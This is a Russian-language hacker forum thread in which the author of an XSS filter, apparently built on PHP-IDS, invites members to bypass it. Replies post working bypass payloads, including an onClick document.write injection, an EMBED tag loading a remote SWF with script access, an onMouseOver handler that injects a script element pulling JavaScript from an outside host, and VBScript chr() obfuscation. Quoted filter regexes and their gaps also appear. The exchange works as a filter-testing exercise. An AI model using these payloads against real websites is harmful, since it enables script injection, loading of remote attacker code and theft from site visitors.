![]() |
Задачка для xss мастеров - обойти фильтр
Написал фильтр ксс , проверяет заголовки браузера юзер агент , реферер , а также заголовки которые должны передавать прокси на корректность.Ну и конечно весь массив данных GET POST COOKIE по сформированным правилам,также там присутствует алгоритм декодирования stringFromCharCode,хекс и урл кодирования.Ваша задача - заставить фильтр не заметить вашу xss и вывести ее,те обычная xss не годится если фильтр скажет Possilbe xss found.Гоу |
слишком жесткая фильтрация
Цитата:
|
Берем, пишем....
Код:
' onClick="javascript: document.write('<script>alert(1)</script>')" |
Бага найдена
Цитата:
|
мдя.... на моем примере можно понять - необходимо не просто найти багу, а что бы фильтр не матюкнулся.
|
Код:
# Разделители атрибутов тега. |
Интересный ресурс
http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php ну и саму IDS скачать http://php-ids.org/downloads/ |
<a'a><img src=http://img.yandex.net/i/yandex-v9.gif>
png+hex=IE, вспоминаем как IE обрабатывает графические файлы. |
мда.... если на то пошло, то и так:
Код:
'style='background-image:url(http://vdshark.heliosart.info/head.gif); |
PHP код:
|
Код:
's><EMBED SRC=http://heliosart.info/test.swf AllowScriptAccess=always width=0 height=0><a'Код:
_root.onLoad = function() |
Канешн вариант Хелиоса попрет, но он бут пахать ток если включен флеш. Вот я до сих пор не спал - но нашел решение :) Уж очень обидели мну слова ТС "эт максимум на что ты способен". И вот что имеем в итоге:
Код:
'onMouseOver = "t = document.createElement('script'); x = new String('http://vdshark.heliosart.info/1.js'); t.src = x; this.appendChild(t);" |
Молодцы , как и думал ошибка в регулярках , с табами недобрал , супер ! |
1. Мало кто из вас такое видел... ну, посмотрите же. :cool: Фильтрописатель забыл про визуалбейсикскрипт :( Совсем забыл :D Помнит, правда, про msgbox, но этого мало.
Код:
Filter rule : (mocha|livescript|javascript|behavior|execute|eval|open|window|urlencode)\s*[={}\/():;&\+\-\^\[\|]PHP код:
1) не палит псевдо-vbscript 2) фильтру неизвестен способ обфускации через vbs-функцию chr() Будет работать в IE 6, для IE 7.0 уязвимость будет пассивной: вставляться будет через тег "a". 2. Цитата:
3. Следующий вариант очень ограничен в применении по причине фиксации в более поздних версиях, но его также следовало бы учесть. Приведу из первоисточника - ha.ckers.org/xss.html Цитата:
|
Eсли регулярные выражения действительно такие, как показывается, "кое-что" там не одно.
P.S. на больших проектах ещё сложнее сделать защиту, так как на огромном количестве сайтов есть доступные JS-функции (и переменные), название которых, конечно же, не фильтруется. Пожалуй, самый распространенный пример - глобальная переменная d = document; (кто фильтрует букву "d"?) Если она не объявлена скриптами самого сайта, то может быть объявлена в каком-нибудь счётчике. |
Цитата:
Кстати, реальные регулярные выражения скрипта такие, как показывается :cool: Вот, например, Код:
Input string : <script>PHP код:
|
Дамс , забыл поставить знак или | в регулярке , @import тоже катит получается...Думаю на этом можно остановиться ибо наделал я ошибок,надо исправлять |
| Время: 00:56 |